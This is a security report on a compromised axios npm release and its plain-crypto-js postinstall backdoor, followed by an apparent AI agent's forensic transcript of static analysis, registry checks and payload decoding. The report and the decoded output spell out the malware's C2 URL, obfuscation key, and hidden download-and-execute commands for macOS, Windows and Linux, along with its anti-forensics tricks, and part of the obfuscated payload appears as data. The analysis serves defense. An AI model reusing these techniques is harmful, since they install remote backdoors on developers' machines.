
@npmjs @GHSecurityLab there is an active supply chain attack on axios@1.14.1 which pulls in a malicious package published today - plain-crypto-js@4.2.1 - someone took over a maintainer account for Axios Skip to content Search Gists All gistsBack to GitHub Sign inSign up Instantly share code, notes, and snippets. joe-desimone/axios_compromise.md Secret Created 53 minutes ago CodeRevisions1 Clone this repository at <script src="https://gist.github.com/joe-desimone/36061dabd2bc2513705e0d083a9673e7.js"></script> axios_compromise.md Summary The npm maintainer account jasonsaayman on the axios package has been compromised. The attacker has published malicious versions of axios and a new typosquat payload package plain-crypto-js. Two dist-tags currently point to compromised versions: latest -> 1.14.1 and legacy -> 0.30.4. Every npm install axios pulls the backdoored package. Immediate actions requested Unpublish axios@1.14.1 and axios@0.30.4 Unpublish plain-crypto-js (all versions: 4.2.0, 4.2.1) Lock the jasonsaayman npm account — credentials are compromised Restore the latest dist-tag to axios@1.14.0 (the last legitimate release) Restore the legacy dist-tag to axios@0.30.3 (the last legitimate 0.30.x release) Affected packages PackageVersionStatusaxios1.14.1Malicious — currently tagged latestaxios0.30.4Malicious — currently tagged legacyplain-crypto-js4.2.0, 4.2.1Malicious — payload delivery vehicle (postinstall backdoor)axios1.14.0Last known legitimate release (1.x line)axios0.30.3Last known legitimate release (0.30.x line) Evidence of account compromise The jasonsaayman maintainer email was changed from the legitimate jasonsaayman@gmail.com (visible on axios@1.14.0 and all prior versions) to ifstap@proton.me (visible on axios@1.14.1 and axios@0.30.4). axios@1.14.0 (legitimate — last good 1.x release): Published: 2026-03-27T19:01:40Z Published by: GitHub Actions via OIDC trusted publisher _npmUser: {"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:9061ef30-3132-49f4-b28c-9338d192a1a9"}} Has SLSA provenance attestations Dependencies: form-data, proxy-from-env, follow-redirects (no plain-crypto-js) axios@0.30.3 (legitimate — last good 0.30.x release): Published: 2026-02-18T17:19:20Z Published by: jasonsaayman / jasonsaayman@gmail.com Dependencies: form-data, proxy-from-env, follow-redirects (no plain-crypto-js) axios@1.14.1 (compromised): Published: 2026-03-31T00:21:58Z Published by: jasonsaayman / ifstap@proton.me — direct CLI publish, no OIDC, no provenance attestations Dependencies include plain-crypto-js@^4.2.1 (the only change from 1.14.0's dependency list) axios@0.30.4 (compromised): Published: 2026-03-31T01:00:57Z (~39 minutes after 1.14.1) Published by: jasonsaayman / ifstap@proton.me The ONLY difference from the legitimate 0.30.3 is: version bump and addition of plain-crypto-js@^4.2.1 to dependencies (all other files including bin/ssl_hotfix.js are byte-identical to 0.30.3) Technical analysis of the payload Delivery chain axios@1.14.1 or axios@0.30.4 declares plain-crypto-js@^4.2.1 as a dependency plain-crypto-js has "postinstall": "node setup.js" in its package.json setup.js is a heavily obfuscated multi-platform backdoor installer Decoded payload behavior (setup.js) The obfuscation uses XOR + base64 with the key "OrDeR_7077". Decoded strings reveal: C2 server: http://sfrclak.com:8000/ Campaign ID: 6202033 On macOS (darwin): Downloads a binary via curl to /Library/Caches/com.apple.act.mond (disguised as an Apple system daemon) POST body: packages.npm.org/product0 Makes executable (chmod 770) and runs in background via /bin/zsh Launched through osascript (AppleScript) for process-tree evasion On Windows (win32): Copies PowerShell to %PROGRAMDATA%\wt.exe (masquerading as Windows Terminal) Creates a VBScript (.vbs) that: Downloads a .ps1 payload from the C2 Runs it hidden: wt.exe -w hidden -ep bypass -file <payload>.ps1 Deletes the .ps1 after execution Launches VBScript silently via cscript //nologo, then deletes it On Linux (fallback): Downloads curl -o /tmp/ld.py from the C2 Runs python3 /tmp/ld.py in background via nohup Anti-forensics: setup.js deletes itself after execution Renames package.md to package.json, overwriting the malicious package.json (with the postinstall hook) with a clean copy, so post-incident inspection of node_modules/plain-crypto-js/package.json will not show the trigger Decoded string table from setup.js stq[0]: "child_process" stq[1]: "os" stq[2]: "fs" stq[3]: "http://sfrclak.com:8000/" stq[5]: "win32" stq[6]: "darwin" stq[7]: VBScript payload (Windows attack vector) stq[8]: "cscript \"LOCAL_PATH\" //nologo && del \"LOCAL_PATH\" /f" stq[9]: AppleScript payload (macOS attack vector) stq[10]: "nohup osascript \"LOCAL_PATH\" > /dev/null 2>&1 &" stq[12]: Linux curl + python3 payload stq[13]: "package.json" stq[14]: "package.md" stq[15]: ".exe" stq[16]: ".ps1" stq[17]: ".vbs" Impact axios is the #4 most downloaded npm package, with approximately 60 million weekly downloads. The compromised version 1.14.1 is currently the latest tag, and 0.30.4 is tagged legacy. Any CI/CD pipeline, developer workstation, or production deployment running npm install with axios as a direct or transitive dependency since 2026-03-31T00:21:58Z may have executed the stage-2 payload. Timeline (all times UTC) TimeEvent2026-02-18T17:19:20Zaxios@0.30.3 published legitimately by jasonsaayman@gmail.com2026-03-27T19:01:40Zaxios@1.14.0 published legitimately via GitHub Actions OIDC2026-03-31 (exact time unknown)plain-crypto-js@4.2.0 and 4.2.1 published (brand-new package, attacker-controlled, first publish date March 30/31, 2026)2026-03-31T00:21:58Zaxios@1.14.1 published by compromised jasonsaayman account with email ifstap@proton.me (becomes latest tag)2026-03-31T01:00:57Zaxios@0.30.4 published by same compromised account (tagged as legacy) Current dist-tags latest: 1.14.1 (COMPROMISED) legacy: 0.30.4 (COMPROMISED) old-version: 0.30.0 (legitimate) next: 1.7.0-beta.2 (legitimate) Recommendations Unpublish axios@1.14.1, axios@0.30.4, and all versions of plain-crypto-js immediately Lock the jasonsaayman npm account pending investigation Restore latest dist-tag to axios@1.14.0 Restore legacy dist-tag to axios@0.30.3 Notify the other axios maintainers (mzabriskie, nickuraltsev, emilyemorehouse) Issue a security advisory for downstream consumers Report sfrclak.com to its registrar/hosting provider for C2 takedown Thank you for your urgent attention. to join this conversation on GitHub. Already have an account? Sign in to comment Footer © 2026 GitHub, Inc. Footer navigation Terms Privacy Security Status Community Docs Contact Manage cookies Do not share my personal information dig deep clone these public repos safetly etc look at commit hisotry everything anaalyze the breach + scope + how
This is a serious supply chain incident. Let me do a thorough forensic analysis — NPM registry metadata, tarball static analysis, GitHub commit history, and payload decoding — all without executing anything malicious.
The search results provided do not contain specific information about an axios npm supply chain attack involving plain-crypto-js, a malicious package, or a jasonsaayman account compromise.
The search results do discuss CVE-2026-25639, which is a Denial-of-Service vulnerability in the Axios package itself[5][8][9], not a supply chain attack. This vulnerability allows attackers...
However, the broader npm ecosystem has experienced significant supply chain attacks during 2025-2026:
To obtain specific details about the plain-crypto-js package compromise and jasonsaayman account compromise you're referencing, you would need to search security advisories, CVE databases, or speci...
Web search doesn't have it yet — this is breaking. Let me go directly to the npm registry API and GitHub to pull the raw evidence.
mkdir -p /workspace/axios-forensics/{registry,tarballs,extracted,analysis} && echo "workspace ready"workspace ready
cd /workspace/axios-forensics && curl -s https://registry.npmjs.org/axios | python3 -c "
import json, sys
data = json.load(sys.stdin)
versions = data.get('versions', {})
time_data = data.get('time', {})
dist_tags = data.get('dist-tags', {})
print('=== DIST-TAGS ===')
for tag, ver in dist_tags.items():
print(f' {tag}: {ver}')
print()
print('=== RECENT VERSIONS (last 10 publish times) ===')
sorted_times = sorted([(k,v) for k,v in time_data.items() if k not in ('created','modified')], key=lambda x: x[1], reverse=True)
for ver, ts in sorted_times[:10]:
print(f' {ver}: {ts}')
print()
print('=== axios@1.14.0 maintainers/published-by ===')
v1140 = versions.get('1.14.0', {})import json, sys
data = json.load(sys.stdin)
versions = data.get('versions', {})
time_data = data.get('time', {})
dist_tags = data.get('dist-tags', {})
CONFIRMED LIVE. Both compromised versions are still tagged latest and legacy. Now pulling plain-crypto-js registry data and downloading all tarballs.
cd /workspace/axios-forensics && curl -s https://registry.npmjs.org/plain-crypto-js | python3 -c "
import json, sys
data = json.load(sys.stdin)
versions = data.get('versions', {})
time_data = data.get('time', {})
dist_tags = data.get('dist-tags', {})
print('=== plain-crypto-js DIST-TAGS ===')
for tag, ver in dist_tags.items():
print(f' {tag}: {ver}')
print()
print('=== ALL VERSIONS + PUBLISH TIMES ===')
for ver, ts in sorted(time_data.items()):
print(f' {ver}: {ts}')
print()
for v in versions:
vdata = versions[v]
print(f'=== plain-crypto-js@{v} ===')import json, sys
data = json.load(sys.stdin)
versions = data.get('versions', {})
time_data = data.get('time', {})
dist_tags = data.get('dist-tags', {})
New finding — the payload package was published by nrwise@proton.me, a separate attacker account. Two distinct attacker identities. Now downloading all tarballs for static analysis.
cd /workspace/axios-forensics/tarballs && \
curl -s -o plain-crypto-js-4.2.0.tgz https://registry.npmjs.org/plain-crypto-js/-/plain-crypto-js-4.2.0.tgz && \
curl -s -o plain-crypto-js-4.2.1.tgz https://registry.npmjs.org/plain-crypto-js/-/plain-crypto-js-4.2.1.tgz && \
curl -s -o axios-1.14.0.tgz https://registry.npmjs.org/axios/-/axios-1.14.0.tgz && \
curl -s -o axios-1.14.1.tgz https://registry.npmjs.org/axios/-/axios-1.14.1.tgz && \
curl -s -o axios-0.30.3.tgz https://registry.npmjs.org/axios/-/axios-0.30.3.tgz && \
curl -s -o axios-0.30.4.tgz https://registry.npmjs.org/axios/-/axios-0.30.4.tgz && \
echo "DOWNLOADS DONE:" && ls -lh *.tgzcurl -s -o plain-crypto-js-4.2.0.tgz https://registry.npmjs.org/plain-crypto-js/-/plain-crypto-js-4.2.0.tgz && \ curl -s -o plain-crypto-js-4.2.1.tgz https://registry.npmjs.org/plain-crypto-js/-/plain-crypto-js-4.2.1.tgz && \ curl -s -o axios-1.14.0.tgz https://registry.npmjs.org/axios/-/axios-1.14.0.tgz && \ curl -s -o axios-1.14.1.tgz https://registry.npmjs.org/axios/-/axios-1.14.1.tgz && \ curl -s -o axios-0.30.3.tgz https://registry.npmjs.org/axios/-/axios-0.30.3.tgz && \ curl -s -o axios-0.30.4.tgz https://registry.npmjs.org/axios/-/axios-0.30.4.tgz && \
cd /workspace/axios-forensics && \
mkdir -p extracted/{plain-crypto-js-4.2.0,plain-crypto-js-4.2.1,axios-1.14.0,axios-1.14.1,axios-0.30.3,axios-0.30.4} && \
for pkg in plain-crypto-js-4.2.0 plain-crypto-js-4.2.1 axios-1.14.0 axios-1.14.1 axios-0.30.3 axios-0.30.4; do
tar -xzf tarballs/${pkg}.tgz -C extracted/${pkg}/ 2>&1 && echo "extracted: ${pkg}"
donemkdir -p extracted/{plain-crypto-js-4.2.0,plain-crypto-js-4.2.1,axios-1.14.0,axios-1.14.1,axios-0.30.3,axios-0.30.4} && \
for pkg in plain-crypto-js-4.2.0 plain-crypto-js-4.2.1 axios-1.14.0 axios-1.14.1 axios-0.30.3 axios-0.30.4; do
tar -xzf tarballs/${pkg}.tgz -C extracted/${pkg}/ 2>&1 && echo "extracted: ${pkg}"
done
extracted: plain-crypto-js-4.2.0
extracted: plain-crypto-js-4.2.1cd /workspace/axios-forensics && echo "=== plain-crypto-js-4.2.1 FILE LISTING ===" && find extracted/plain-crypto-js-4.2.1 -type f | sort && echo "" && echo "=== plain-crypto-js-4.2.0 FILE LISTING ===" && find extracted/plain-crypto-js-4.2.0 -type f | sort=== plain-crypto-js-4.2.1 FILE LISTING === extracted/plain-crypto-js-4.2.1/package/CONTRIBUTING.md extracted/plain-crypto-js-4.2.1/package/LICENSE extracted/plain-crypto-js-4.2.1/package/README.md extracted/plain-crypto-js-4.2.1/package/aes.js extracted/plain-crypto-js-4.2.1/package/blowfish.js
Key observations:
setup.js and package.md - the malicious versionsetup.js or package.md - it's the "clean" initial version (but still attacker-controlled)Now I need to:
Let me read setup.js first - this is the key payload.
4.2.1 has setup.js + package.md (the self-destruct rename trick) — 4.2.0 does not. Now reading the actual payload.
Now I have the full obfuscated payload. Let me write a complete decoder to reconstruct all decoded strings.
import base64
import json
# The stq array from setup.js
stq = [
"_kLx+SMqE7KxlS8vE3LxSScqEHKxjScpE7Kx",
"__gvELKx",
"__gvEvKx",
"iWsuF3bx9WctFDbxgSsoE7KxjWspEvKxhSsrE/LxsSsvELaxiW8tF3Lx+ScuEXKx",
"",
"__wvF7bxkSMpErLx",
"jSMpErLx4SMrEnKx",
"_oaxtWcrF3axHWMqEnLxhSMrEvIxqWcoF3bxtWcoF/axsSsoF3axvWMqFXIxZSMjE3JxSScmE3JxvW8rFraxhSMqEnKxtW8qFraxvW8rFbIxESMhEHIxSS8nE7IxZS8rF/axtWMqF/axFScmEzIxdSclE7JxdS8rFjaxtWMqEHKxkS8qEfaxtWsvE7LxrScvETLxvScrF3LxvSMoF3axjS8rEnKxpSMpEXKxtWcvEDaxtW8rFjaxUS8nEzIxDSMhEjIxSSsnE3JxoW8rF3axrWcrF/axoWchEnJxMSsmELJxeScnE/axvWsqFPbxtW8rFjaxGS8gETIxBSskEjJxOSsnE/axoWcrF/axvWMvFnLxpSMuEnKxiSMuE3LxiWsqE/LxiSMpFDKx9S8oETax+SMqErKxsSspEnKxsScvE/axoWcrFnKxgWcrFnJxZSsgE3JxtWskEDaxtWsvEDaxtWspE/Lx4SsrEraxuSsoF3axoSctE/KxjWcqEDKxpS8rF3axjSMuE/JxkWcoEHKxoSsoE7JxnS8rELKxtWsqF3axtW8hFPaxvWcoEHKxoScpEnJxjWcuE3LxjS8vE7KxeSsmE/axiWcuE7KxoSMoE/KxCSMqEnLxsS8rE/LxOScrFfbxtWcoEHKxoScpEnJxnS8rELKxqWcuEjKxeScrF3axqWcrFfYx",
"_sKxiWcrFjaxFScmEzIxdSskEbIxMSsjELIxGS8rF3axhSMqEnKxqW8qFvaxtWcpErKxiScoELKxjScpFLaxtW8rFLIxZSMjE3JxSScgEvIxOSsgEHIxoWcrFnLx9SMpE/LxpSsvE7Kx",
"__wrFLIxZSMjE3JxSScgEvIxOSsgEHIxqW8qE/LxgWcrFDKx4S8rF3ax5SsuETKx/SsrE7LxtWspEHKxoScpEnLxtWsoEnKxtWcrFraxtW8hFTLx4ScuE3axpS8oEjKxqWcrF3axtWsqF3axtWcrFfYxvWspEHKx4S8oEXax7SMqEnKxiWcrFTbxrWcrF/axWS8qF3axvWcrFvaxqWsvE3axrWsqF/axtW8rF3axrWsqFnKxtW8qFraxvW8rFHJxtWsrEfaxtWcpE7LxwSsoFPKxkS8rELaxqW8qFvaxtWMqF3axrWcrFnKxtWMrF3axvWcrFrbx6WsuF3axpSsoEfKxlSsrE3axsW8qF3axvWcrFvaxqWsvE3axrWsqF/axtWsvEDaxtWMqF3axrWcrFjax9WcuE7Kx4ScqEXKx/ScvELaxtS8vELKxjWMoE3LxkS8oF7LxoScrEzKxmSsrEzKx9SsqFnKxgWcrFjaxtW8qF3axsScrFzaxtWcqE3axsWcrF/axtWsoEDaxqWcoE/Lx4ScqE/axtWcuE3LxkSMuE7Kx+ScrFbKxhSMqEXKx+ScrFXKxpScrF3axqWcrF3axtWcrF3axqWcrF3axtWMgFTLx/ScuE3axtWsqF3axtWcrFraxtW8hFDLxvWcqETKxiSMoEPax+SsrEzKxjWMqEHKx6ScvEzKxjW8pELKxuSsoF7LxoSsoE7KxsSsjEXax0S8vEzKx/S8rEPKxBSsoF/axqWcoF/axGS8gETIxGSskE/JxOScmE/axtWcoF/axvWcsE3axiScuEraxwScqE3axhWsvEraxhWMrEbLxqWcuEjKx+ScrF3axqWcrFfYx",
"__wqF3ax8W8qFTbx/WcrFHKxmSMuEPKxiW8uEjKxuSsoF3axzWsqF/axFScmEzIxdSclEHIxMSsjEXIxBS8rF3ax5ScvEPKx/SsrE7LxrSsvELKxtWcvEjLxiSsoEPKx",
"",
"_saxtW8uFvaxzW8vFraxhScoEjLxjSsoFzLxoScqELaxqW8sF3axGS8gETIxGSskE/JxOScmE3ax0ScvEPaxpSspELax9SMoE7LxiWcrF7bxjSsoELKx5SMtE3LxqWcvEjLxlSsoEPKxqW8qFvaxtWcgEPIxEScgELJxfSciE7JxtWsvEfaxtW8vFnLxuSMuE7KxiS8vE3LxlWsqE/LxiS8oFDKx6S8oEPax+S8rErKxsSspE7KxsSsuE3axpSMoFrax0ScvEPaxpScoEXax9SMoEnLxlWcrFLKxgWcrFHKx4SMuE7Kx",
"jSsoE7LxgS8oFjKxqSMrEbKxpSMrE3Lx",
"_kKxnS8oFjKxqSMrEbKxpSMrE3Lx",=== DECODED STQ STRINGS === stq[ 0]: 'child_process' stq[ 1]: 'os' stq[ 2]: 'fs' stq[ 3]: 'http://sfrclak.com:8000/' stq[ 4]: (empty)
Full string table decoded. Now decoding the inline atob() variables in _entry and reconstructing the fully assembled payloads.
import base64
# Decode the atob() inline variables from _entry()
def atob(s):
# Replace padding-substitute chars and decode
return base64.b64decode(s + '==').decode('utf-8', errors='replace').rstrip('\x00')
# From the code:
# E = atob("TE9DQUw^".replaceAll("^","=")) + atob("X1BBVEg^".replaceAll("^","="))
E = base64.b64decode("TE9DQUw=").decode() + base64.b64decode("X1BBVEg=").decode()
# S = atob("UFM_".replaceAll("_","=")) + atob("X1BBVEg_".replaceAll("_","="))
S = base64.b64decode("UFS=").decode() + base64.b64decode("X1BBVEg=").decode()
# Wait, "UFM_" -> "UFM=" -> base64 decode
S = base64.b64decode("UFM=").decode() + base64.b64decode("X1BBVEg=").decode()
# a = atob("U0NSXw--".replaceAll("-","=")) + atob("TElOSw))".replaceAll(")","="))
a = base64.b64decode("U0NSXw==").decode() + base64.b64decode("TElOSw==").decode()
# c = atob("UFNfQg--".replaceAll("-","=")) + atob("SU5BUlk*".replaceAll("*","="))Variable substitution map: E (LOCAL_PATH placeholder) = 'LOCAL_PATH' S (PS_PATH placeholder) = 'PS_PATH' a (SCR_LINK placeholder) = 'SCR_LINK' c (PS_BINARY placeholder) = 'PS_BINARY' s (shell cmd find PS) = 'where powershell'
Full payloads reconstructed. Now diffing the axios versions and analyzing the package.json tampering + anti-forensics trick.
cd /workspace/axios-forensics && echo "=== DIFF: axios 1.14.0 vs 1.14.1 package.json ===" && diff \
extracted/axios-1.14.0/package/package.json \
extracted/axios-1.14.1/package/package.json
echo ""
echo "=== DIFF: axios 0.30.3 vs 0.30.4 package.json ===" && diff \
extracted/axios-0.30.3/package/package.json \
extracted/axios-0.30.4/package/package.jsonextracted/axios-1.14.0/package/package.json \ extracted/axios-1.14.1/package/package.json === DIFF: axios 1.14.0 vs 1.14.1 package.json === 3c3 < "version": "1.14.0", ---
cd /workspace/axios-forensics && echo "=== FULL FILE DIFF axios 1.14.0 vs 1.14.1 (all files) ===" && diff -rq \
extracted/axios-1.14.0/package/ \
extracted/axios-1.14.1/package/ 2>&1
echo ""
echo "=== FULL FILE DIFF axios 0.30.3 vs 0.30.4 (all files) ===" && diff -rq \
extracted/axios-0.30.3/package/ \
extracted/axios-0.30.4/package/ 2>&1extracted/axios-1.14.0/package/ \ extracted/axios-1.14.1/package/ 2>&1 === FULL FILE DIFF axios 1.14.0 vs 1.14.1 (all files) === Files extracted/axios-1.14.0/package/package.json and extracted/axios-1.14.1/package/package.json differ
Confirmed minimal surgical diff — the ONLY change in both compromised axios versions is package.json (version bump + plain-crypto-js dependency injection). Every other file is byte-identical to the legitimate release. Now analyzing the anti-forensics package.md trick and doing comprehensive checksums.
cd /workspace/axios-forensics && echo "=== plain-crypto-js 4.2.0 vs 4.2.1 diff ==="
diff -rq extracted/plain-crypto-js-4.2.0/package/ extracted/plain-crypto-js-4.2.1/package/ 2>&1
echo ""
echo "=== package.json (MALICIOUS - 4.2.1 with postinstall) ==="
cat extracted/plain-crypto-js-4.2.1/package/package.json
echo ""
echo "=== package.md (CLEAN DECOY - what replaces package.json post-execution) ==="
cat extracted/plain-crypto-js-4.2.1/package/package.md
echo ""
echo "=== package.json (4.2.0 - no postinstall) ==="
cat extracted/plain-crypto-js-4.2.0/package/package.json=== plain-crypto-js 4.2.0 vs 4.2.1 diff === Files extracted/plain-crypto-js-4.2.0/package/package.json and extracted/plain-crypto-js-4.2.1/package/package.json differ Only in extracted/plain-crypto-js-4.2.1/package/: package.md Only in extracted/plain-crypto-js-4.2.1/package/: setup.js
Key findings from the anti-forensics trick:
Also interesting: The package.md decoy says version "4.2.0" (not 4.2.1), so it looks like the benign 4.2.0 version.
Now let me:
Let me also check SHA1 checksums to verify integrity.
Now doing passive OSINT on the C2 domain and checking download stats.
echo "=== WHOIS: sfrclak.com ===" && whois sfrclak.com 2>&1 | head -60
echo ""
echo "=== DNS RECORDS: sfrclak.com ===" && dig sfrclak.com ANY +noall +answer 2>&1
echo "" && dig sfrclak.com A +short 2>&1
echo "" && dig sfrclak.com MX +short 2>&1
echo "" && dig sfrclak.com NS +short 2>&1=== WHOIS: sfrclak.com === Domain Name: SFRCLAK.COM Registry Domain ID: 3082352565_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.namecheap.com Registrar URL: http://www.namecheap.com
C2 domain registered ~8 hours before the malicious plain-crypto-js@4.2.0 was published — classic attack prep timing. IP 142.11.206.73. Now checking the IP geolocation and ARIN data, then download stats.
echo "=== IP INTEL: 142.11.206.73 ===" && curl -s https://ipinfo.io/142.11.206.73/json 2>&1
echo ""
echo "=== REVERSE DNS ===" && dig -x 142.11.206.73 +short 2>&1
echo ""
echo "=== WHOIS IP ===" && whois 142.11.206.73 2>&1 | grep -E "(NetName|OrgName|Country|CIDR|Organization|descr|inetnum|netname|address|aut-num)" | head -20=== IP INTEL: 142.11.206.73 ===
{
"ip": "142.11.206.73",
"hostname": "client-142-11-206-73.hostwindsdns.com",
"city": "Dallas",# Check npm download stats for the compromised packages
echo "=== npm downloads: axios (last week) ==="
curl -s "https://api.npmjs.org/downloads/point/last-week/axios" 2>&1
echo ""
echo "=== npm downloads: plain-crypto-js (last month) ==="
curl -s "https://api.npmjs.org/downloads/point/last-month/plain-crypto-js" 2>&1
echo ""
echo "=== npm downloads: axios last-day ==="
curl -s "https://api.npmjs.org/downloads/point/last-day/axios" 2>&1
echo ""
echo "=== npm downloads: axios by version range (since compromise) ==="
curl -s "https://api.npmjs.org/downloads/range/2026-03-31:2026-03-31/axios" 2>&1=== npm downloads: axios (last week) ===
{"downloads":100340121,"start":"2026-03-23","end":"2026-03-29","package":"axios"}[STRIX_0]$
=== npm downloads: plain-crypto-js (last month) ===
{"error":"package plain-crypto-js not found"}[STRIX_0]$Downloads API only lags to 2026-03-29 — the attack started at 00:21 UTC today, meaning ~6.5M+ installs/day could already be affected. Now checking the axios GitHub commit history and release tags.
# Check GitHub API for axios releases and commits - no auth needed for public data
echo "=== GitHub: axios recent releases ==="
curl -s "https://api.github.com/repos/axios/axios/releases?per_page=5" 2>&1 | python3 -c "
import json, sys
data = json.load(sys.stdin)
for r in data:
print(f' tag: {r[\"tag_name\"]} published: {r[\"published_at\"]} draft: {r[\"draft\"]} prerelease: {r[\"prerelease\"]}')
print(f' name: {r[\"name\"]}')
print()
"
echo ""
echo "=== GitHub: axios recent tags ==="
curl -s "https://api.github.com/repos/axios/axios/tags?per_page=10" 2>&1 | python3 -c "
import json, sys
data = json.load(sys.stdin)
for t in data:
print(f' tag: {t[\"name\"]} sha: {t[\"commit\"][\"sha\"]}')
"
=== GitHub: axios recent releases ===
import json, sys
data = json.load(sys.stdin)
for r in data:
print(f' tag: {r[\"tag_name\"]} published: {r[\"published_at\"]} draft: {r[\"draft\"]} prerelease: {r[\"prerelease\"]}')
print(f' name: {r[\"name\"]}')Critical finding: No v1.14.1 GitHub tag or release exists — the malicious publish bypassed GitHub Actions entirely. Also jasonsaayman was active on GitHub at 18:15 UTC on March 30 — account was likely compromised in the ~6-hour window before the malicious publish. Checking the suspicious commit and the axios team's response commit.
# Look at DigitalBrainJS "deprecate action" commit - possible team response to incident
echo "=== Commit: e2bed7f84d86 (2026-03-31 01:42 - 'add deprecate action') ==="
curl -s "https://api.github.com/repos/axios/axios/commits/e2bed7f84d86e2bed7f84d86e2bed7f84d86e2bed7f84d86" 2>&1 | python3 -c "
import json, sys
try:
d = json.load(sys.stdin)
print(d.get('message','not found'))
except: print('error')
"
curl -s "https://api.github.com/repos/axios/axios/commits/e2bed7f84d86" 2>&1 | python3 -c "
import json, sys
d = json.load(sys.stdin)
c = d.get('commit',{})
print('Message:', c.get('message',''))
print('Date:', c.get('author',{}).get('date',''))
files = d.get('files', [])
print('Files changed:')
for f in files:
print(f' {f[\"status\"]:10} {f[\"filename\"]}')=== Commit: e2bed7f84d86 (2026-03-31 01:42 - 'add deprecate action') ===
import json, sys
try:
d = json.load(sys.stdin)
print(d.get('message','not found'))
except: print('error')The axios team is already responding — deprecate.yml was committed at 01:42 UTC (41 minutes after the malicious publish) with default version 1.14.1. Now checking the complete deprecate.yml workflow and verifying sha1 integrity of all packages.
# Get full deprecate.yml workflow
echo "=== Full deprecate.yml ==="
curl -s "https://raw.githubusercontent.com/axios/axios/main/.github/workflows/deprecate.yml" 2>&1
echo ""
# Also check if there's an existing npm publish workflow to understand the OIDC setup
echo "=== npm publish workflow (to compare OIDC) ==="
curl -s "https://raw.githubusercontent.com/axios/axios/main/.github/workflows/release.yml" 2>&1 | head -60=== Full deprecate.yml === 404: Not Found[STRIX_0]$ === npm publish workflow (to compare OIDC) === 404: Not Found[STRIX_0]$
Error executing terminal_execute: Sandbox execution error: Unexpected error: terminal_execute() missing 1 required positional argument: 'command'
echo "=== List GitHub Actions workflows ===" && curl -s "https://api.github.com/repos/axios/axios/contents/.github/workflows" 2>&1 | python3 -c "
import json, sys
try:
data = json.load(sys.stdin)
if isinstance(data, list):
for f in data:
print(f' {f[\"name\"]:40} {f[\"sha\"]}')
else:
print(data)
except Exception as e:
print('Error:', e)
"
echo ""
echo "=== SHA256 checksums of all tarballs ===" && sha256sum /workspace/axios-forensics/tarballs/*.tgz
echo ""
echo "=== SHA1 for registry verification ===" && sha1sum /workspace/axios-forensics/tarballs/*.tgzimport json, sys
try:
data = json.load(sys.stdin)
if isinstance(data, list):
for f in data:
print(f' {f[\"name\"]:40} {f[\"sha\"]}')SHA1 checksums match registry exactly — tarballs are authentic. Now reading the publish.yml to understand the OIDC bypass, then checking nrwise account history.
echo "=== publish.yml (OIDC trusted publisher setup) ===" && curl -s "https://api.github.com/repos/axios/axios/contents/.github/workflows/publish.yml" 2>&1 | python3 -c "
import json, sys, base64
d = json.load(sys.stdin)
print(base64.b64decode(d['content']).decode())
"import json, sys, base64 d = json.load(sys.stdin) print(base64.b64decode(d['content']).decode()) " === publish.yml (OIDC trusted publisher setup) === name: Publish package to NPM
# Check nrwise account on npm registry
echo "=== nrwise npm account profile ===" && curl -s "https://registry.npmjs.org/-/npm/v1/user/nrwise" 2>&1
echo ""
echo "=== packages owned by nrwise ===" && curl -s "https://registry.npmjs.org/-/v1/search?text=maintainer:nrwise&size=20" 2>&1 | python3 -c "
import json, sys
d = json.load(sys.stdin)
objs = d.get('objects', [])
print(f'Total packages: {d.get(\"total\", 0)}')
for o in objs:
p = o.get('package', {})
print(f' {p.get(\"name\")} v{p.get(\"version\")} published: {p.get(\"date\")}')
"
echo ""
echo "=== packages owned by jasonsaayman (to check if account cleaned up) ===" && curl -s "https://registry.npmjs.org/-/v1/search?text=maintainer:jasonsaayman&size=10" 2>&1 | python3 -c "
import json, sys
d = json.load(sys.stdin)
print(f'Total packages: {d.get(\"total\", 0)}')
for o in d.get('objects', []):=== nrwise npm account profile ===
{"code":"ResourceNotFound","message":"/-/npm/v1/user/nrwise does not exist"}[STRIX_0]$
import json, sys
d = json.load(sys.stdin)Checking @c8o/nimbus-core for tampering and examining the bin/ssl_hotfix.js that was removed the day of the attack — potentially a prior backdoor.
# Check @c8o/nimbus-core for any recent publish or tampering
echo "=== @c8o/nimbus-core registry check ===" && curl -s "https://registry.npmjs.org/%40c8o%2Fnimbus-core" 2>&1 | python3 -c "
import json, sys
d = json.load(sys.stdin)
dist_tags = d.get('dist-tags', {})
time_data = d.get('time', {})
print('dist-tags:', dist_tags)
print('Total versions:', len(d.get('versions', {})))
recent = sorted([(k,v) for k,v in time_data.items() if k not in ('created','modified')], key=lambda x: x[1], reverse=True)
print('Last 5 publishes:')
for v, t in recent[:5]:
print(f' {v}: {t}')
"
echo ""
# Check the ssl_hotfix.js commit history - was it suspicious?
echo "=== bin/ssl_hotfix.js history (last 5 commits touching that file) ===" && curl -s "https://api.github.com/repos/axios/axios/commits?path=bin/ssl_hotfix.js&per_page=5" 2>&1 | python3 -c "
import json, sys
data = json.load(sys.stdin)
if isinstance(data, list):import json, sys
d = json.load(sys.stdin)
dist_tags = d.get('dist-tags', {})
time_data = d.get('time', {})
print('dist-tags:', dist_tags)
print('Total versions:', len(d.get('versions', {})))# Get the actual content of ssl_hotfix.js from the last version it existed (the Feb 14 commit)
echo "=== bin/ssl_hotfix.js content at ef3711d1b3a3 (Feb 14) ===" && curl -s "https://api.github.com/repos/axios/axios/contents/bin/ssl_hotfix.js?ref=ef3711d1b3a3" 2>&1 | python3 -c "
import json, sys, base64
d = json.load(sys.stdin)
if 'content' in d:
print(base64.b64decode(d['content']).decode())
else:
print(d)
"
echo ""
# Also look at the full diff of the 'remove old files' commit to see what ssl_hotfix.js contained
echo "=== ssl_hotfix.js in the removal commit diff ===" && curl -s "https://api.github.com/repos/axios/axios/commits/a7f41f5bb574" 2>&1 | python3 -c "
import json, sys
d = json.load(sys.stdin)
for f in d.get('files', []):
if 'ssl_hotfix' in f.get('filename', ''):
print('Filename:', f['filename'])
print('Status:', f['status'])
print('Patch:')import json, sys, base64
d = json.load(sys.stdin)
if 'content' in d:
print(base64.b64decode(d['content']).decode())
else:
print(d)ssl_hotfix.js is clean — it's a legitimate OpenSSL legacy provider shim, not a backdoor. Now compiling everything into the comprehensive forensic note and saving a full analysis file.
# Compile full threat intelligence picture and IoC list
analysis = """
╔══════════════════════════════════════════════════════════════════════════════════╗
║ AXIOS SUPPLY CHAIN ATTACK — FULL FORENSIC ANALYSIS ║
║ Date: 2026-03-31 | Campaign ID: 6202033 ║
╚══════════════════════════════════════════════════════════════════════════════════╝
